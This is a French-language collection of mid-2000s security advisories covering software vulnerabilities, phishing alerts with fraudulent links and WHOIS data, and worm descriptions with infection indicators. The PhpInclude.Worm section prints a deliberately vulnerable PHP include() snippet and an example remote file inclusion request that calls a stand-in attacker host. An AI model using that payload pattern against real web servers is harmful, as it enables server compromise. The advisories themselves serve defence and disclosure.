Le premier problème résulte d'une erreur présente au niveau de l'interface graphique ("nod32.exe" ) qui est exécute avec des privilèges SYSTEM pendant le lancement d'un scan programmé, ce qui pourrait être exploité par des utilisateurs malveillants afin de lancer des binaires arbitraires (e.g. cmd.exe) avec des privilèges SYSTEM.
 
La seconde faille est due à une erreur présente au niveau du module de restauration de fichiers qui ne réinitialise pas correctement les privilèges avant de restaurer un fichier en quarantaine, ce qui pourrait être exploité par des utilisateurs malveillants afin de placer des fichiers malicieux au sein d'un répertoire arbitraire avec des privilèges SYSTEM.

Une vulnérabilité a été identifiée dans plusieurs imprimantes HP Color LaserJet, elle pourrait être exploitée par des attaquants distants afin d'accéder à des fichiers arbitraires du système. Le problème résulte d'une erreur de type directory traversal présente au niveau du logiciel Toolbox et son interface web (port 5225/TCP) qui ne filtre pas correctement certaines requêtes HTTP spécialement conçues contenant la séquence "../", ce qui pourrait être exploité afin d'accéder à des fichiers arbitraires du système.

Une vulnérabilité a été identifiée dans McAfee VirusScan, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur de type buffer overflow présente au niveau de la librairie "DUNZIP32.dll" qui ne gère pas correctement certains fichiers de signatures malformés, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à télécharger un fichier de signatures spécialement conçu.

Plusieurs vulnérabilités ont été identifiées dans différentiels produits RealNetworks, elles pourraient être exploitées par des attaquants afin de compromettre un système vulnérable.
 
Le premier problème résulte d'une erreur présente au niveau de l'utilisation des fonctions "CreateProcess()" et "CreateProcessAsUser()", ce qui pourrait être exploité par un utilisateur malveillant afin d'exécuter un programme malicieux avec les privilèges de l'utilisateur connecté.
 
La seconde faille est due à une erreur de type buffer overflow présente au niveau du traitement de certains fichiers SWF malformés, ce qui pourrait être exploité par des attaquants distants afin d'exécuter des commandes arbitraires.
 
La troisième vulnérabilité résulte d'une erreur de type heap overflow présente au niveau du traitement de certaines pages web malformées, ce qui pourrait être exploité par des attaquants afin de compromettre un système vulnérable.
 
Le dernier problème résulte d'une erreur de type buffer overflow présente au niveau de la gestion d'un fichier MBC (mimio boardcast) malformé, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires.

Une vulnérabilité a été identifiée dans Trend Micro PC-cillin Internet Security, elle pourrait être exploitée par des attaquants locaux afin d'obtenir des privilèges élevés ou exécuter des fichiers malicieux. Ce problème résulte d'une erreur de permissions présente aux niveaux des répertoires "Internet Security 14" et "Internet Security 2006", ce qui pourrait être exploité par un attaquant local non-privilégié afin de supprimer ou modifier des fichiers arbitraires.

Une vulnérabilité a été identifiée dans OpenOffice, elle pourrait être exploitée par des attaquants distants afin d'exécuter des commandes arbitraires. Ce problème résulte d'une erreur présente au niveau de cURL/libcURL. Pour plus d'informations, se référer au bulletin : FrSIRT/AVIS-2005-2791

Une vulnérabilité a été identifiée dans ZoneAlarm, elle pourrait être exploitée par des attaquants locaux afin d'obtenir des privilèges élevés. Ce problème résulte d'une erreur présente au niveau du service TrueVector ("VSMON.exe" ) qui charge certaines DLLs (Dynamically Linked Libraries) de manière insécurisée, ce qui pourrait être exploité par des utilisateurs malveillants afin d'exécuter des commandes arbitraires avec des privilèges SYSTEM en plaçant une librairie malicieuse au sein d'un répertoire spécifique.

Plusieurs vulnérabilités ont été identifiées dans différentiels produits Macromedia, elles pourraient être exploitées par des attaquants distants afin de compromettre un système vulnérable. Ces problèmes résultent d'erreurs inconnues présentes au niveau de la gestion de certains fichiers SWF malformés.

Une vulnérabilité a été identifiée dans AntiVir PersonalEdition, elle pourrait être exploitée par des attaquants locaux afin d'obtenir des privilèges élevés. Ce problème résulte d'une erreur présente au niveau du processus de mise à jour qui lance "notepad.exe" avec des privilèges SYSTEM, ce qui pourrait être exploité par des utilisateurs malveillants afin d'exécuter des commandes arbitraires avec des privilèges élevés.

Plusieurs vulnérabilités ont été identifiées dans Invision Power Board, elles pourraient être exploitées par des attaquants afin d'exécuter des commandes arbitraires SQL ou un code JavaScript malicieux. Ces failles résultent d'erreurs présentes aux niveaux des scripts "ipsclass.php", "action_public/topics.php", "action_public/usercp.php", "action_public/search.php" et "action_public/forums.php" qui ne filtrent pas correctement certaines variables, ce qui pourrait être exploité afin de conduire des attaquants par injection SQL ou par cross site scripting.

Plusieurs vulnérabilités ont été identifiées dans Symantec Ghost, elles pourraient être exploitées par des attaquants locaux afin de contourner les mesures de sécurité, accéder à des informations sensibles, ou obtenir des privilèges élevés.
 
Le premier problème résulte d'une erreur de conception où un compte administratif (avec un mot de passe par défaut) est installé par l'application, ce qui pourrait être exploité par utilisateurs malveillants afin de modifier/supprimer des données ou afin d'exécuter des commandes arbitraires.
 
La seconde faille est due à une erreur présente au niveau de la base Sybase SQLAnywhere, ce qui pourrait être exploité par des attaquants non-privilégiés afin d'accéder aux informations présentes au sein de la base de données.
 
La troisième vulnérabilité résulte d'une erreur de type buffer overflow présente au niveau du module "dbisqlc.exe" (installé avec SQLAnywhere), ce qui pourrait être exploité par des attaquants locaux afin d'accéder à des informations sensibles.

Une vulnérabilité a été identifiée dans AVG Anti-Virus, elle pourrait être exploitée par des attaquants locaux afin d'obtenir des privilèges élevés. Cette faille est due à des erreurs de permissions présentes aux niveaux de plusieurs fichiers modifiés par la fonctionnalité de mise à jour, ce qui pourrait être exploité par un attaquant local non-privilégié afin de supprimer ou modifier des fichiers arbitraires.

Une vulnérabilité a été identifiée dans The Bat!, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur de type buffer overflow présente au niveau du traitement de certains emails contenant un sujet excessivement long, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en envoyant, vers un serveur vulnérable, un email spécialement conçu.

Une vulnérabilité a été identifiée dans WinACE, elle pourrait être exploité par des attaquants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur de type directory traversal présente au niveau de la gestion de certaines archives RAR et TAR malformées, ce qui pourrait être exploité par des attaquants afin de placer des fichiers malicieux au sein d'un système vulnérable.

Une vulnérabilité a été identifiée dans WinACE, elle pourrait être exploité par des attaquants afin de compromettre un système vulnérable. Le problème résulte d'une erreur de type buffer overflow présente au niveau de la gestion d'une archive ARJ ayant une entête spécialement conçue, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir un fichier ".arj" forgé.

Plusieurs vulnérabilités ont été identifiées dans Winamp, elles pourraient être exploitées par des attaquants distants afin de compromettre un système vulnérable.
Le premier problème résulte d'une erreur de type buffer overflow présente au niveau de la gestion d'une playliste pointant vers fichier media ayant un nom excessivement long, ce qui pourrait être exploité par des attaquants distants afin d'exécuter des commandes arbitraires via une playliste malformée.
 
La seconde faille est due à une erreur de type buffer overflow présente au niveau du traitement d'une playliste ayant un nom excessivement long, ce qui pourrait être exploité par des attaquants distants afin d'exécuter des commandes arbitraires via une page web malicieuse.
 
La troisième vulnérabilité est due à une erreur de type buffer overflow présente au niveau du traitement d'une playliste "m3u" malformée, ce qui pourrait être exploité par des attaquants afin de compromettre un système vulnérable.

Sept vulnérabilités ont été identifiées dans Sun Java JRE (Java Runtime Environment), elles pourraient être exploitées par des attaquants distants afin de compromettre un système vulnérable. Ces failles résultent d'erreurs présentes aux niveaux des APIs "reflection" qui ne gèrent pas correctement certaines applets spécialement conçues, ce qui pourrait être exploité par des attaquants distants afin de lire, placer, ou exécuter des fichiers arbitraires au sein d'un système vulnérable en incitant un utilisateur à visiter une page web malicieuse.

Plusieurs vulnérabilités ont été identifiées dans Mozilla Suite, Mozilla Firefox et Thunderbird, elles pourraient être exploitées par des attaquants distants afin de compromettre un système vulnérable ou afin de contourner les mesures de sécurité.
 
Le premier problème résulte d'une erreur présente au niveau du moteur JavaScript qui ne protége pas correctement certaines variables temporaires, ce qui pourrait être exploité par des sites web malveillants afin d'exécuter des commandes arbitraires.
 
La seconde faille est due à une erreur présente au niveau de la transformation dynamique d'un élément "position:relative" en "position:static", ce qui pourrait être exploité par des attaquants distants afin de compromettre un système vulnérable.
 
La troisième vulnérabilité résulte d'une erreur présente au niveau du fichier "history.dat" qui ne gère pas correctement des données excessivement longues, ce qui pourrait être exploité par des attaquants afin de provoquer, à chaque démarrage de l'application, un déni de service ou une consommation abusive du CPU. Pour plus d'informations, se référer au bulletin : FrSIRT/AVIS-2005-2805
 
Le quatrième problème résulte d'une erreur de type buffer overflow présente au niveau de la méthode "QueryInterface", ce qui pourrait être exploité par des sites web malveillants afin d'exécuter des commandes arbitraires.
 
La cinquième faille se situe au niveau de la fonction "XULDocument.persist()" qui ne valide pas correctement certains attributs, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes JavaScript avec les privilèges du navigateur.
 
La sixième vulnérabilité est due à des erreurs de type integer overflow présentes aux niveaux des fonctionnalités E4X, SVG et Canvas, ce qui pourrait être exploité par des attaquants distants afin de compromettre un système vulnérable.
 
La septième faille se situe au niveau du gestionnaire XML qui ne lit pas correctement certaines portions de la mémoire, ce qui pourrait être exploité par des attaquants afin d'altérer le fonctionnement d'une application vulnérable ou afin d'accéder à des informations sensibles.
 
La huitième vulnérabilité résulte d'une erreur présente au niveau de l'implémentation E4X qui ne protége pas correctement l'objet interne "AnyName", ce qui pourrait être exploité par des sites malveillants afin de contourner les mesures de sécurité.

Une vulnérabilité a été identifiée dans les navigateurs Mozilla, elle pourrait être exploitée par des attaquants distants afin de contourner les mesures de sécurité et obtenir des informations sensibles. Le problème résulte d'une erreur présente au niveau de la gestion de certains documents CSS (Cascading Style Sheets) et HTML contenant une propriété "-moz-binding" spécialement conçue, ce qui pourrait être exploité par des sites web malveillants afin d'exécuter un code javascript arbitraire (coté client) dans le contexte sécuritaire d'un domaine tiers, et accéder à des informations sensibles (e.g. cookies).

Une vulnérabilité a été identifiée dans plusieurs produits Sophos Anti-Virus, elle pourrait être exploitée par des attaquants ou des vers/virus afin de contourner les mesures de sécurité. Le problème résulte d'une erreur présente au niveau du moteur de scan qui ne gère pas correctement certaines archives ARJ spécialement conçues, ce qui pourrait être exploité par des vers/virus afin de passer outre la procédure de détection des fichiers malicieux.
 
Note : Les fichiers malicieux présents au sein d'une archive malformée seront cependant détectés et bloqués au moment de l'extraction.

Une vulnérabilité a été identifiée dans Kerio WinRoute Firewall, elle pourrait être exploitée par des attaquants afin de causer un déni de service. Le problème résulte d'une erreur inconnue présente au niveau du traitement de certaines pages web, ce qui pourrait être exploité par des sites web malveillants afin d'altérer le fonctionnement d'une application vulnérable.

Deux vulnérabilités ont été identifiées dans Kerio WinRoute Firewall, elles pourraient être exploitées par des attaquants distants afin de causer un déni de service.
 
Le premier problème résulte d'une erreur présente au niveau du filtre HTML qui ne gère pas correctement certaines données, ce qui pourrait être exploité par des attaquants afin d'altérer le fonctionnement d'une application vulnérable.
 
La seconde faille est due à une erreur présente au niveau du traitement de certaines données provenant d'Active Directory, ce qui pourrait être exploité afin de causer un déni de service.

Deux vulnérabilités ont été identifiées dans plusieurs produits F-Secure Anti-Virus, elles pourraient être exploitées par des attaquants ou des vers/virus afin de compromettre un système vulnérable ou afin de contourner les mesures de sécurité.
 
Le premier problème résulte d'une erreur de type buffer overflow présente au niveau de la gestion de certaines archives ZIP malformées, ce qui pourrait être exploité par des attaquants distants ou des vers/virus afin d'exécuter des commandes arbitraires en envoyant, vers un système protégé par un antivirus vulnérable, un fichier ZIP spécialement conçu.
 
La seconde faille est due à une erreur présente au niveau de la fonction de scan qui ne gère pas correctement certaines archives RAR ou ZIP malformées, ce qui pourrait être exploité par des vers/virus afin de passer outre la procédure de détection de fichiers malveillants.

Une vulnérabilité a été identifiée dans Norton SystemWorks, elle pourrait être exploitée par des attaquants locaux ou des vers/virus afin de contourner les mesures de sécurité. Le problème résulte d'une erreur présente au niveau du répertoire "NProtect" (Norton Protected Recycle Bin) qui n'est pas accessible via les APIs Windows FindFirst/FindNext, ce qui pourrait être exploité par des fichiers malicieux afin de passer outre la procédure de scan.

Plusieurs vulnérabilités ont été identifiées dans Apple QuickTime, elles pourraient être exploitées par des attaquants distants afin de compromettre un système vulnérable ou afin de causer un déni de service.
 
Le premier problème résulte d'une erreur de type heap overflow présente au niveau du traitement de certaines images QTIF malformées, ce qui pourrait être exploité par des attaquants distants afin d'exécuter des commandes arbitraires via un fichier QTIF spécialement conçu.
 
La seconde faille est due à des erreurs de type buffer overflow, integer overflow et integer underflow présentes au niveau de la gestion de certaines images TGA malformées, ce qui pourrait être exploité par des attaquants distants afin d'exécuter des commandes arbitraires via un fichier TGA spécialement conçu.
 
La troisième vulnérabilité est due à une erreur de type integer overflow présente au niveau du traitement de certaines images TIFF malformées, ce qui pourrait être exploité par des attaquants distants afin d'exécuter des commandes arbitraires via un fichier TIFF spécialement conçu.
 
Le quatrième problème résulte d'une erreur de type heap overflow présente au niveau de la gestion de certaines images GIF malformées, ce qui pourrait être exploité par des attaquants distants afin d'exécuter des commandes arbitraires via un fichier GIF spécialement conçu.
 
La dernière faille est due à une erreur de type heap overflow présente au niveau du traitement de certains fichiers media malformés, ce qui pourrait être exploité par des attaquants distants afin de compromettre un système vulnérable en incitant un utilisateur à visiter une page spécialement conçue. Pour plus d'informations, se référer au bulletin : FrSIRT/AVIS-2005-3012

Une vulnérabilité critique a été identifiée dans Clam AntiVirus (ClamAV), elle pourrait être exploitée par un attaquant distant ou un ver/virus afin de compromettre un système vulnérable ou afin de causer un déni de service. Le problème résulte d'une erreur de type heap overflow présente au niveau du script "libclamav/upx.c" qui ne gère pas correctement certains fichiers UPX malformés, ce qui pourrait être exploité par des attaquants ou des vers/virus afin d'exécuter des commandes arbitraires distantes en envoyant, vers un antivirus vulnérable, un fichier UPX spécialement conçu.

Une vulnérabilité a été identifiée dans Symantec AntiVirus Scan Engine, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable ou causer un déni de service. Le problème résulte d'une erreur de type heap overflow présente au niveau de l'interface d'administration qui ne gère pas correctement certaines requêtes HTTP malformées (port 8004/tcp), ce qui pourrait être exploité par des attaquants afin d'altérer le fonctionnement d'une système vulnérable ou afin d'exécuter des commandes arbitraires avec les privilèges SYSTEM.

Une vulnérabilité a été identifiée dans plusieurs antivirus BitDefender, elle pourrait être exploitée par des attaquants distants ou des vers/virus afin de compromettre un système vulnérable. Le problème résulte d'une erreur de type format string présente au niveau de la fonction chargée de la création des rapports d'analyses qui ne gère pas correctement des fichiers et/ou des répertoires ayant un nom spécialement conçu, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires via un fichier malicieux.

Une vulnérabilité critique a été identifiée dans plusieurs produits Kaspersky Anti-Virus, elle pourrait être exploitée par un attaquant distant ou un ver/virus afin de compromettre un système vulnérable. Le problème résulte d'une erreur de type heap overflow présente au niveau de la librairie "cab.ppl" qui ne gère pas correctement certains fichiers CAB contenant des entêtes malformées, ce qui pourrait être exploité afin d'exécuter des commandes arbitraires distantes en envoyant, vers un antivirus vulnérable, un fichier CAB spécialement conçu.

Une faiblesse a été identifiée dans Zone Labs ZoneAlarm, elle pourrait être exploitée afin de contourner les mesures de sécurité. Le problème résulte d'une erreur de conception présente au niveau de la gestion de certaines communications DDE-IPC (Direct Data Exchange - Interprocess Communications), ce qui pourrait être exploité par un programme malveillant afin d'accéder au réseau via un autre programme en contournant le système d'alertes.

Une vulnérabilité a été identifiée dans PowerArchiver, elle pourrait être exploité par des attaquants afin de compromettre un système vulnérable. Le problème résulte d'une erreur de type stack overflow présente au niveau de la gestion de certaines archives ACE/ARJ spécialement conçues, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir un fichier ACE/ARJ forgé.

Une vulnérabilité a été identifiée dans 7-Zip, elle pourrait être exploité par des attaquants afin de compromettre un système vulnérable. Le problème résulte d'une erreur de type stack overflow présente au niveau de la gestion de certaines archives ARJ spécialement conçues, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir un fichier ARJ forgé.

Ce courriel est une tentative d'escroquerie dite par phishing, le même message ayant été envoyé à un très grand nombre d'internautes dont les adresses ont été collectées illégalement. Le lien hypertexte présent dans le message n'est pas celui du service en ligne (www.paypal.com/fr/cgi-bin/webscr?cmd=_login-run) mais un lien similaire (www.yuriwedding.com/www.paypal.fr/cgi-bin/webscr_cmd=_login-done[...], toujours en activité au moment de la rédaction de cette alerte). Le nom d'expéditeur utilisé dans le message est par ailleurs PaypaI et non Paypal (lettre L minuscule remplacée par un i majuscule) afin de tenter de tromper les filtres antispam et antiphishing. Il ne faut pas fournir les renseignements demandés : si vous avez été abusé et avez déjà communiqué ces renseignements, connectez-vous immédiatement au véritable site de Paypal et changez votre mot de passe.

Ce courriel est une tentative d'escroquerie dite par phishing, le même message ayant été envoyé à un très grand nombre d'internautes dont les adresses ont été collectées illégalement. Le lien hypertexte visible par l'utilisateur n'est pas celui présent dans le code source du message (www.webhost119.com/bbs/mutuel.html redirigé vers 65.98.14.10/~infinite/cr.mutuel/credit.htm et toujours en activité au moment de la rédaction de cette alerte). Il ne faut pas fournir les renseignements demandés : si vous avez été abusé et avez déjà communiqué ces renseignements, connectez-vous immédiatement au véritable site de votre banque et changez votre mot de passe.

Sophos vient de repérer un cheval de Troie qui a la gentillesse de compresser tous les fichiers Word, Excel et d?autres encore, présent sur votre disque dur en un fichier zip crypté qui nécessite un mot de passe. Le programme nommé Zippo-A crée ensuite un fichier vous expliquant la marche à suivre pour récupérer vos données qui consiste, entre autre, à verser la somme de 300$ sur un compte eGold.
Nous ne vous ferons pas languir plus longtemps, les ingénieurs de chez Sophos ont analysé le code du virus et le mot de passe est « C:\Program Files\Microsoft Visual Studio\VC98 ».
Si la prise d?otage de données est courante dans le monde des entreprises, ce cheval de Troie touche aussi les particuliers, chose beaucoup plus rare.

Envoyé en masse, le message FRAUDULEUX aux couleurs de la banque, prétexte la mise en place d?un nouveau système de sécurité pour demander aux internautes de fournir leurs codes d'accès et date de naissance.

Le test du nouveau systeme de securite. Notre devise: Banking sans fraude.  
Compte tenu d'accidents tres frequents provoques par des activites frauduleuses sur Internet, notre banque a introduit le nouveau systeme de securite de nos clients. Conformement a celui-la chaque mois vous serez le destinataire d'une lettre confirmante vos donnee secretes. Nous esperons votre comprehension a l'egard de cet innovation. Les mesures entreprises nous permettront de reduire les risques d'acces non sanctionne de tierces personnes a votre compte personnel, ainsi que controler l'activite de votre compte en comparant l'adresse IP et version de votre navigateur de votre session presente et celle precedente. A l'avis de l'organisation mondiale bancaire ces mesures permettront de diminuer au maximum les voles d'argent des clients.
Log in: http://www.particulierssecure.com
Si vous n'etes pas d'accord ou mecontent de cet innovation veuillez nous ecrire a lecreditlyonnais@banksecurity.fr
votre opinion sera prise en compte.
Nous vous remercions de nous avoir accorde vote temps et prions d'accepter nos salutations distinguees.

Domain Name: PARTICULIERSSECURE.COM
Registrar: ONLINENIC, INC.
Whois Server: whois.OnlineNIC.com
Referral URL: http://www.OnlineNIC.com
Name Server: NS1.DNSSERVICESFORFREE.BIZ
Name Server: NS2.DNSSERVICESFORFREE.BIZ
Status: REGISTRAR-LOCK
Status: REGISTRAR-HOLD
Updated Date: 07-mar-2006
Creation Date: 05-mar-2006
Expiration Date: 05-mar-2007
 
Registrant:
Stacy McCullough johnbrown132@mail.com +1.9066358143
Stacy McCullough
1432 W. 14th St.
Sault Ste. Marie,MI,UNITED STATES 49783

Une tentative d'escroquerie par phishing a lieu depuis le 24/02/06. Elle vise les clients de la société de cartes bancaires Visa et se présente sous la forme d'un courrier électronique en anglais intitulé "Attention! Several VISA Credit Card bases have been LOST!", prétendument envoyé par VISA Card Support <VisaCard@visa.com> :
...........
Sous prétexte d'une récente tentative de piratage par des hackers, le message demande à l'internaute de cliquer sur un lien hypertexte et d'entrer les informations relatives à sa carte bancaire. Il ne faut pas cliquer sur le lien concerné ni fournir les renseignements demandés, car le destinataire réel n'est pas la société Visa mais un individu malveillant. Si vous avez été abusé et avez déjà communiqué ces renseignements, vous devriez faire opposition immédiatement à l'utilisation de la carte bancaire concernée.

Une nouvelle escroquerie par phishing est actuellement en cours, ciblant les clients de la banque française AGF. Elle se présente sous la forme d'un courrier électronique prétendument envoyé par la banque et rédigé dans un français soigné

Zotob.A infecte les systèmes Windows 2000 via le port 445/TCP, il s'installe dans le répertoire %SYSTEM% sous le nom de fichier  "botzor.exe", crée le mutex "B-O-T-Z-O-R", puis rajoute l'entrée suivante au registre :
 
 [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
 [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices]
 "WINDOWS SYSTEM" = "botzor.exe"
 
Une fois installé, le ver ouvre un shell et un serveur FTP, puis se connecte à un canal IRC contrôlé par son auteur qui a la possibilité d'exécuter plusieurs commandes (envoyer/télécharger/exécuter des fichiers, mettre à jour le ver...).
 
Zotob.A tente ensuite d'infecter d'autres machines en scannant le port 445/TCP (utilisé par le service Windows Plug and Play) et en se transférant via son serveur FTP, sous le nom "haha.exe", vers la machine cible.

Une première tentative d'escroquerie par phishing a eu lieu le 27 mai 2005 à l'encontre de clients des banques Société Générale, BNP Paribas, CIC et CCF. Elle se présente sous la forme d'un courrier électronique en anglais prétendument envoyé par une des banques (adresse d'expéditeur usurpée telle que BrownlieBertie@bnpparibas.com ou BarstowCatherine@cic.fr) et distribué en masse aux utilisateurs de fournisseurs d'accès français dont wanadoo.fr, club-internet.fr, numericable.fr, 9online.fr, chello.fr, freesurf.fr
..........
Le lien hypertexte réel n'est pas celui qui apparaît dans le corps du message mais un lien de la forme http://www.google.ru/url?q= http://go.msn.com/ HML/1/5.asp?target= http://%09%79j%09%7317%09%70p %2E %44 %61 %%092E%%52%%%%75/. S'il clique sur le lien correspondant à sa banque, l'internaute est dirigé de manière très brève donc à peine perceptible vers une page vide d'un site russe qui déclenche l'ouverture d'une fenêtre pop-up, puis redirige l'internaute vers le site de la banque demandée
.............
De cette façon, le site web qui apparaît dans la fenêtre de navigation principale est bien celui de la banque demandée, mais la fenêtre réduite qui apparaît au premier plan pour inciter l'internaute à saisir son nom d'utilisateur et son mot de passe appartient au site web contrôlé par le pirate

- Une fois exécuté, Sober.P crée les fichiers suivants :
 
%Windir%\Connection Wizard\Status\csrss.exe (copie du ver)
%Windir%\Connection Wizard\Status\services.exe (copie du ver)
%Windir%\Connection Wizard\Status\smss.exe (copie du ver)
%Windir%\Connection Wizard\Status\packed1.sbr (copie du ver en base64)
%Windir%\Connection Wizard\Status\packed2.sbr (copie du ver en base64)
%Windir%\Connection Wizard\Status\packed3.sbr (copie du ver en base64)
%Windir%\Connection Wizard\Status\sacri1.ggg (fichier de sauvegarde des emails collectés localement)
%Windir%\Connection Wizard\Status\sacri2.ggg (fichier de sauvegarde des emails collectés localement)
%Windir%\Connection Wizard\Status\sacri3.ggg (fichier de sauvegarde des emails collectés localement)
%Windir%\Connection Wizard\Status\Voner1.ggg (fichier de sauvegarde des emails collectés localement)
%Windir%\Connection Wizard\Status\Voner2.ggg (fichier de sauvegarde des emails collectés localement)
%Windir%\Connection Wizard\Status\Voner3.ggg (fichier de sauvegarde des emails collectés localement)
%Windir%\Connection Wizard\Status\fastso.ber (fichier non malicieux)
%System%\nonrunso.ber (fichier non malicieux)
%System%\seppelmx.smx (fichier non malicieux)
%System%\xcvfpokd.tqa (fichier non malicieux)
%System%\adcmmmmq.hjg (fichier non malicieux)
%System%\langeinf.lin (fichier non malicieux)
 
- Il tente ensuite de supprimer les fichiers suivants :
 
%ProgramFiles%\Symantec\Liveupdate\a*.exe
%ProgramFiles%\Symantec\Liveupdate\luc*.exe
%ProgramFiles%\Symantec\Liveupdate\ls*.exe
%ProgramFiles%\Symantec\Liveupdate\luu*.exe
 
- Et remplace le fichier %Program Files%\Symantec\Liveupdate\luall.exe par un copie du ver
 
- Puis rajoute les clefs suivantes au registre :
 
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
WinStart = "%Windows%\Connection Wizard\Status\services.exe"
 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
WinStart = "%Windows%\Connection Wizard\Status\services.exe
 
- Il collecte ensuite les adresses emails contenues dans les fichiers du type :
 
pmr, phtm, stm, slk, inbox, imb, csv, bak, imh, xhtml, imm, imh, cms, nws, vcf, ctl, dhtm, cgi, pp, ppt, msg, jsp, oft, vbs, uin, ldb, abc, pst, cfg, mdw, mbx, mdx, mda, adp, nab, fdb, vap, dsp, ade, sln, dsw, mde, frm, bas, adr, cls, ini, ldif, log, mdb, xml, wsh, tbb, abx, abd, adb, pl, rtf, mmf, doc, ods, nch, xls, nsf, txt, wab, eml, hlp, mht, nfo, php, asp, shtml et dbx.
 
- Il s'auto-propage vers les emails collectés en utilisant son propre moteur SMTP.
 
Caractéristiques
 
Alias : W32/Sober-P
          W32/Sober-N
          W32/Sober-O
          W32/Sober-S
 
Taille : 53,728 octets (zip)
              53,554 octets (exe)
 
Pièce jointe : PassWort-Info.zip
                    account_info-text.zip
                    account_info-text.zip
                    autoemail-text.zip
                    Fifa_Info-Text.zip
                    LOL.zip
                    mail_info.zip
                    okTicket-info.zip
                    our_secret.zip
 
Sujet : (en allemand ou en anglais)
 
En allemand : Mail-Fehler!
                     WM Ticket Verlosung
                     WM-Ticket-Auslosung
                     Glueckwunsch: Ihr WM Ticket
                     Ich bin's, was zum lachen
                     Ihr Passwort
                     Ihre E-Mail wurde verweigert
 
En anglais :    Re:
                     mailing error
                     Registration Confirmation
                     Your email was blocked
                     Your Password
 
Expéditeur :   Admin
                     Hostmaster
                     Info
                     Postmaster
                     Register
                     Service
                     Webmaster

Le nouveau ver PhpInclude.Worm se propage activement sur internet, il s'attaque à toute page dynamique non sécurisée. [Ce ver est détecté par certains antivirus comme étant la variante C ou E de Santy. Nous estimons que ce ver est totalement différent de la famille Santy (la seule similitude réside dans l'utilisation des moteurs de recherche), nous avons donc décidé de lui attribuer l'alias générique "PhpInclude.Worm"].
 
Contrairement à Santy, PhpInclude.Worm n'exploite pas les vulnérabilités phpBB, il exploite une palette plus large de failles dites "de programmation". Il recherche (via Google/Yahoo/AOL) des serveurs web dont les pages php utilisent les fonctions "include()" et "require()" de façon non-sécurisée. Comment ?
 
Ces fonctions sont normalement utilisées par les programmeurs afin d'inclure des pages web spécifiées en arguments. Malheureusement, la non vérification de ces arguments peut permettre l'inclusion et l'exécution de fichiers externes, et donc la compromission du serveur web :
 
-------- Exemple : vulnerable.php --------
if(isset($page))
{
  include($page);
}
-----------------------------------------------
La page ci-dessus ne filtre pas correctement la variable $page, elle permet donc l'inclusion puis l'exécution de scripts arbitraires distants : vulnerable.php?page=http://server_pirate/scriptmalicieux?cmd=commandes_malicieuses
 
PhpInclude.Worm recherche donc des pages du type "*.php?*=", puis tente d'y injecter différentes commandes permettant l'installation de robots IRC et la constitution d'une armée de machines zombies contrôlées par un groupe de pirates brésiliens.
 
Ces failles étant liées aux applications web et non pas à la plateforme ou à la version de PHP, PhpInclude.Worm et ses prochaines variantes continueront à se propager sur internet pendant de longs mois, d'où un risque qualifié d'Elevé par K-OTik Security.
.......
Solution pré-infection
 
Vérifier vos scripts php afin d'y détecter d'éventuelles vulnérabilités.
 
Solution post-infection
 
-> Si vous n'avez pas un accès "root", vous devez contacter votre hébergeur ou administrateur.
 
-> Si vous avez un accès "root" :
 
- Arrêter le serveur web afin d'éviter de nouvelles infections.
- Identifier les fichiers et les scripts malicieux (en cours d'exécution) puis tuer les processus perl ou sh anormaux.
- Faire une recherche exhaustive des fichiers modifiés ou installés.
- Effacer ces fichiers malicieux afin d'éviter les rebonds.
- Identifier et corriger les vulnérabilités ayant permis la compromission du serveur (voir logs web)

Le nouveau ver informatique Santy.a se propage actuellement sur internet, il ne s'agit pas d'un virus de type mass-mailing, il est question d'un Web-Worm. Santy.a a pour but (visible) de défigurer automatiquement des sites web hébergeant un forum phpBB (versions <= 2.0.10) en exploitant la vulnérabilité "highlight SQL Injection" présente au niveau du fichier "viewtopic.php". Note : ce ver, dans sa version actuelle, ne représente aucune menace pour les utilisateurs se rendant sur un site compromis
 
Santy.a s'autocopie dans le serveur compromis sous le nom "m1ho2of", il identifie ensuite des nouvelles cibles potentielles via le moteur de recherche Google (en utilisant le terme "viewtopic.php" ). Plusieurs milliers de sites (40.000) ont d'ores et déjà été détournés, les pages ".htm", ".php", ".asp", ".shtm", ".jsp" et ".phtm" sont modifiées et remplacées par le code suivant : This site is defaced!!! NeverEverNoSanity WebWorm generation x. (où X représente la génération de l'infection).
 
Il existe actuellement plus de 6 Millions de forums potentiellement vulnérables à cette attaque (d'où un risque qualifié d'Elevé par K-OTik Security). La menace pourrait être atténuée si Google bloquait la recherche des mots "viewtopic.php" et "phpBB".
 
Update : L'équipe technique de Google vient de bloquer les requêtes générées par Santy.a, ce qui empêchera l'identification et la compromission de nouveaux serveurs.
 
Solution
 
- Migrer vers phpBB version 2.0.11 ou modifier le fichier vulnérable.
- Nous recommandons fortement la mise à jour de PHP (utiliser 4.3.10 ou 5.0.3) car une autre vulnérabilité critique, non exploitée par ce ver, pourrait être, dans l'avenir, utilisée comme vecteur de propagation/compromission de serveurs web (sous PHP <= 4.3.9 ou <= 5.0.2).

Une vulnérabilité a été identifiée dans Microsoft PowerPoint, elle pourrait être exploitée par des attaquants distants afin d'obtenir des informations sensibles. Ce problème résulte d'une erreur présente au niveau de l'interaction entre l'application et le navigateur pendant le traitement de certaines données HTML, ce qui pourrait être exploité par des attaquants afin d'accéder au dossier Temporary Internet Files (TIFF) et obtenir des informations importantes susceptibles de donner à l'attaquant les moyens de compromettre davantage le système affecté.

